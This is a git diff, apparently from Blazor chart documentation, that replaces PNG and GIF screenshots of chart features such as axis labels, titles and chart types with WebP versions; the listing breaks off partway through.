diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-margin.png b/blazor/chart/images/appearance/blazor-column-chart-custom-margin.png
deleted file mode 100644
index 17be19f651..0000000000
Binary files a/blazor/chart/images/appearance/blazor-column-chart-custom-margin.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-margin.webp b/blazor/chart/images/appearance/blazor-column-chart-custom-margin.webp
new file mode 100644
index 0000000000..4de7018034
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-column-chart-custom-margin.webp differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-title.png b/blazor/chart/images/appearance/blazor-column-chart-title.png
deleted file mode 100644
index e6b8610965..0000000000
Binary files a/blazor/chart/images/appearance/blazor-column-chart-title.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-title.webp b/blazor/chart/images/appearance/blazor-column-chart-title.webp
new file mode 100644
index 0000000000..7c265558ef
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-column-chart-title.webp differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.png b/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.png
deleted file mode 100644
index 860e2f6445..0000000000
Binary files a/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.webp b/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.webp
new file mode 100644
index 0000000000..d0efc82f83
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-column-chart-with-subtitle.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png b/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png
deleted file mode 100644
index b69f053e49..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp b/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp
new file mode 100644
index 0000000000..9bffe554ff
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.png b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.png
deleted file mode 100644
index 242f6c84d4..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.webp b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.webp
new file mode 100644
index 0000000000..52e3dd3898
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title-alignment.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.png b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.png
deleted file mode 100644
index 726797c767..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.webp b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.webp
new file mode 100644
index 0000000000..bcf24bebe9
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-axis-title.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.png b/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.png
deleted file mode 100644
index dedf294bf1..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.webp b/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.webp
new file mode 100644
index 0000000000..4b365a4cc0
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-cross-axis.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.png b/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.png
deleted file mode 100644
index 3884f0245c..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.webp b/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.webp
new file mode 100644
index 0000000000..f48e854a69
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-custom-gridline.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png b/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png
deleted file mode 100644
index 9161f45dbb..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp b/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp
new file mode 100644
index 0000000000..19fb59fb29
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.png b/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.png
deleted file mode 100644
index ebfc12f08f..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.webp b/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.webp
new file mode 100644
index 0000000000..793559b268
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-inversed-axis.webp differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.png b/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.png
deleted file mode 100644
index fc8ead84d1..0000000000
Binary files a/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.png and /dev/null differ
diff --git a/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.webp b/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.webp
new file mode 100644
index 0000000000..1081a8bc08
Binary files /dev/null and b/blazor/chart/images/axis-customization/blazor-column-chart-multiple-axes.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.png b/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.png
deleted file mode 100644
index a3609248c4..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp b/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp
new file mode 100644
index 0000000000..76b57b37e2
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.png
deleted file mode 100644
index edfc6bdbd6..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.webp
new file mode 100644
index 0000000000..a9db678f76
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-custom-label.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.PNG b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.PNG
deleted file mode 100644
index 6ff2b6536d..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.PNG and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.webp
new file mode 100644
index 0000000000..d1bdbbc095
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-alignment.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png
deleted file mode 100644
index 90e24c5f9e..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp
new file mode 100644
index 0000000000..eeb08f744e
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png
deleted file mode 100644
index 81db2f0bc5..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp
new file mode 100644
index 0000000000..805b27fbfd
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.PNG b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.PNG
deleted file mode 100644
index f019a0bd26..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.PNG and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.webp
new file mode 100644
index 0000000000..2a7ac50130
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-overflow.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.png
deleted file mode 100644
index e6c2b85a71..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.webp
new file mode 100644
index 0000000000..b63bee3f0a
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-position.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.png
deleted file mode 100644
index 533ee3efac..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.webp
new file mode 100644
index 0000000000..041fc12bab
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-label-trim.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.png
deleted file mode 100644
index 84d1b1ab80..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.webp
new file mode 100644
index 0000000000..3e8119be99
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-line-break-label.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.png b/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.png
deleted file mode 100644
index 764f5e9d9c..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.webp b/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.webp
new file mode 100644
index 0000000000..cb9e9f0005
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-axis-text-template.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.PNG b/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.PNG
deleted file mode 100644
index a2e7ac0de1..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.PNG and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.webp b/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.webp
new file mode 100644
index 0000000000..835d1aad2a
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-custom-axis-label.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png b/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png
deleted file mode 100644
index ba4ecbc10c..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp b/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp
new file mode 100644
index 0000000000..60c01a5cc5
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.png b/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.png
deleted file mode 100644
index c980ff0f5d..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.webp b/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.webp
new file mode 100644
index 0000000000..97fed3d9ca
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-label-customization.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.png b/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.png
deleted file mode 100644
index 50429bddc3..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.webp b/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.webp
new file mode 100644
index 0000000000..9476134ffd
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-label-with-custom-border.webp differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.PNG b/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.PNG
deleted file mode 100644
index eb0180c702..0000000000
Binary files a/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.PNG and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.webp b/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.webp
new file mode 100644
index 0000000000..35f44035a9
Binary files /dev/null and b/blazor/chart/images/axis-labels/blazor-column-chart-multi-labels.webp differ
diff --git a/blazor/chart/images/axis-labels/category.png b/blazor/chart/images/axis-labels/category.png
deleted file mode 100644
index 79ac9d7da9..0000000000
Binary files a/blazor/chart/images/axis-labels/category.png and /dev/null differ
diff --git a/blazor/chart/images/axis-labels/category.webp b/blazor/chart/images/axis-labels/category.webp
new file mode 100644
index 0000000000..33a811e125
Binary files /dev/null and b/blazor/chart/images/axis-labels/category.webp differ
diff --git a/blazor/chart/images/blazor-app-interactive-mode.png b/blazor/chart/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/chart/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/chart/images/blazor-app-interactive-mode.webp b/blazor/chart/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/chart/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/chart/images/blazor-chart-crosshair-synchronization.gif b/blazor/chart/images/blazor-chart-crosshair-synchronization.gif
deleted file mode 100644
index 7155d4bb3d..0000000000
Binary files a/blazor/chart/images/blazor-chart-crosshair-synchronization.gif and /dev/null differ
diff --git a/blazor/chart/images/blazor-chart-crosshair-synchronization.webp b/blazor/chart/images/blazor-chart-crosshair-synchronization.webp
new file mode 100644
index 0000000000..e0df38175f
Binary files /dev/null and b/blazor/chart/images/blazor-chart-crosshair-synchronization.webp differ
diff --git a/blazor/chart/images/blazor-chart-maui-app.png b/blazor/chart/images/blazor-chart-maui-app.png
deleted file mode 100644
index cd499ea0c3..0000000000
Binary files a/blazor/chart/images/blazor-chart-maui-app.png and /dev/null differ
diff --git a/blazor/chart/images/blazor-chart-maui-app.webp b/blazor/chart/images/blazor-chart-maui-app.webp
new file mode 100644
index 0000000000..792434bf64
Binary files /dev/null and b/blazor/chart/images/blazor-chart-maui-app.webp differ
diff --git a/blazor/chart/images/blazor-chart-tooltip-synchronization.gif b/blazor/chart/images/blazor-chart-tooltip-synchronization.gif
deleted file mode 100644
index c055da67ab..0000000000
Binary files a/blazor/chart/images/blazor-chart-tooltip-synchronization.gif and /dev/null differ
diff --git a/blazor/chart/images/blazor-chart-tooltip-synchronization.webp b/blazor/chart/images/blazor-chart-tooltip-synchronization.webp
new file mode 100644
index 0000000000..7bd7173527
Binary files /dev/null and b/blazor/chart/images/blazor-chart-tooltip-synchronization.webp differ
diff --git a/blazor/chart/images/blazor-chart-zooming-synchronization.gif b/blazor/chart/images/blazor-chart-zooming-synchronization.gif
deleted file mode 100644
index c5273f5e9a..0000000000
Binary files a/blazor/chart/images/blazor-chart-zooming-synchronization.gif and /dev/null differ
diff --git a/blazor/chart/images/blazor-chart-zooming-synchronization.webp b/blazor/chart/images/blazor-chart-zooming-synchronization.webp
new file mode 100644
index 0000000000..cfb2461917
Binary files /dev/null and b/blazor/chart/images/blazor-chart-zooming-synchronization.webp differ
diff --git a/blazor/chart/images/blazor-column-chart-globalization.png b/blazor/chart/images/blazor-column-chart-globalization.png
deleted file mode 100644
index 6517a6435c..0000000000
Binary files a/blazor/chart/images/blazor-column-chart-globalization.png and /dev/null differ
diff --git a/blazor/chart/images/blazor-column-chart-globalization.webp b/blazor/chart/images/blazor-column-chart-globalization.webp
new file mode 100644
index 0000000000..8ed9bc9c26
Binary files /dev/null and b/blazor/chart/images/blazor-column-chart-globalization.webp differ
diff --git a/blazor/chart/images/blazor-create-web-app.png b/blazor/chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/chart/images/blazor-create-web-app.webp b/blazor/chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/chart/images/blazor-wasm-app-template.png b/blazor/chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/chart/images/blazor-wasm-app-template.webp b/blazor/chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.png b/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.png
deleted file mode 100644
index efc6b63a0d..0000000000
Binary files a/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.png and /dev/null differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.webp b/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.webp
new file mode 100644
index 0000000000..0e9a1659b0
Binary files /dev/null and b/blazor/chart/images/category-axis/blazor-chart-axis-range-and-interval.webp differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-default-axis.png b/blazor/chart/images/category-axis/blazor-chart-default-axis.png
deleted file mode 100644
index 5e0724cc7a..0000000000
Binary files a/blazor/chart/images/category-axis/blazor-chart-default-axis.png and /dev/null differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-default-axis.webp b/blazor/chart/images/category-axis/blazor-chart-default-axis.webp
new file mode 100644
index 0000000000..b440fbbce6
Binary files /dev/null and b/blazor/chart/images/category-axis/blazor-chart-default-axis.webp differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-index-category-axis.png b/blazor/chart/images/category-axis/blazor-chart-index-category-axis.png
deleted file mode 100644
index fe0ea4243d..0000000000
Binary files a/blazor/chart/images/category-axis/blazor-chart-index-category-axis.png and /dev/null differ
diff --git a/blazor/chart/images/category-axis/blazor-chart-index-category-axis.webp b/blazor/chart/images/category-axis/blazor-chart-index-category-axis.webp
new file mode 100644
index 0000000000..1646dfe013
Binary files /dev/null and b/blazor/chart/images/category-axis/blazor-chart-index-category-axis.webp differ
diff --git a/blazor/chart/images/category-axis/blazor-diagram-label-position.png b/blazor/chart/images/category-axis/blazor-diagram-label-position.png
deleted file mode 100644
index 3c0aeec434..0000000000
Binary files a/blazor/chart/images/category-axis/blazor-diagram-label-position.png and /dev/null differ
diff --git a/blazor/chart/images/category-axis/blazor-diagram-label-position.webp b/blazor/chart/images/category-axis/blazor-diagram-label-position.webp
new file mode 100644
index 0000000000..b2d6ae1d5b
Binary files /dev/null and b/blazor/chart/images/category-axis/blazor-diagram-label-position.webp differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.png b/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.png
deleted file mode 100644
index 006696f818..0000000000
Binary files a/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.png and /dev/null differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.webp b/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.webp
new file mode 100644
index 0000000000..1c550da8af
Binary files /dev/null and b/blazor/chart/images/chart-dimensions/blazor-chart-size-for-container.webp differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.png b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.png
deleted file mode 100644
index 47dc3025c4..0000000000
Binary files a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.png and /dev/null differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp
new file mode 100644
index 0000000000..5d3f971827
Binary files /dev/null and b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-percentage.webp differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.png b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.png
deleted file mode 100644
index 96f567bf2f..0000000000
Binary files a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.png and /dev/null differ
diff --git a/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp
new file mode 100644
index 0000000000..654ec3c0fd
Binary files /dev/null and b/blazor/chart/images/chart-dimensions/blazor-chart-size-in-pixel.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-border.png b/blazor/chart/images/chart-types-images/blazor-area-border.png
deleted file mode 100644
index 18ddc8d113..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-area-border.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-border.webp b/blazor/chart/images/chart-types-images/blazor-area-border.webp
new file mode 100644
index 0000000000..54b00054c6
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-area-border.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-border.png b/blazor/chart/images/chart-types-images/blazor-area-chart-border.png
deleted file mode 100644
index 4a335f8293..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-area-chart-border.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-border.webp b/blazor/chart/images/chart-types-images/blazor-area-chart-border.webp
new file mode 100644
index 0000000000..e02cc1d25a
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-area-chart-border.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.png
deleted file mode 100644
index 0c48146838..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.webp
new file mode 100644
index 0000000000..d63c557e73
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-fill.png b/blazor/chart/images/chart-types-images/blazor-area-chart-fill.png
deleted file mode 100644
index 2f2f9b6822..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-area-chart-fill.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart-fill.webp b/blazor/chart/images/chart-types-images/blazor-area-chart-fill.webp
new file mode 100644
index 0000000000..e063fd7392
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-area-chart-fill.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart.png b/blazor/chart/images/chart-types-images/blazor-area-chart.png
deleted file mode 100644
index 2e4e54cfc2..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-area-chart.webp
new file mode 100644
index 0000000000..a57a93b8ae
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.png b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.png
deleted file mode 100644
index 15d7a2f17b..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.webp
new file mode 100644
index 0000000000..5d3693af43
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius-using_onPointRenderEvent.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.png
deleted file mode 100644
index 90c8ca41dc..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.webp
new file mode 100644
index 0000000000..aca71e07dd
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.png
deleted file mode 100644
index d34a8b1690..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.webp
new file mode 100644
index 0000000000..44fbe15936
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.png b/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.png
deleted file mode 100644
index 433f5161fa..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp
new file mode 100644
index 0000000000..6a5fa23d62
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart-space-and-width.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.png b/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.png
deleted file mode 100644
index 4247371cf4..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.webp
new file mode 100644
index 0000000000..a2ecbfb0e7
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart-width-in-pixels.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart.png b/blazor/chart/images/chart-types-images/blazor-bar-chart.png
deleted file mode 100644
index 9229d78669..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bar-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bar-chart.webp b/blazor/chart/images/chart-types-images/blazor-bar-chart.webp
new file mode 100644
index 0000000000..449d17b98d
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bar-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.png b/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.png
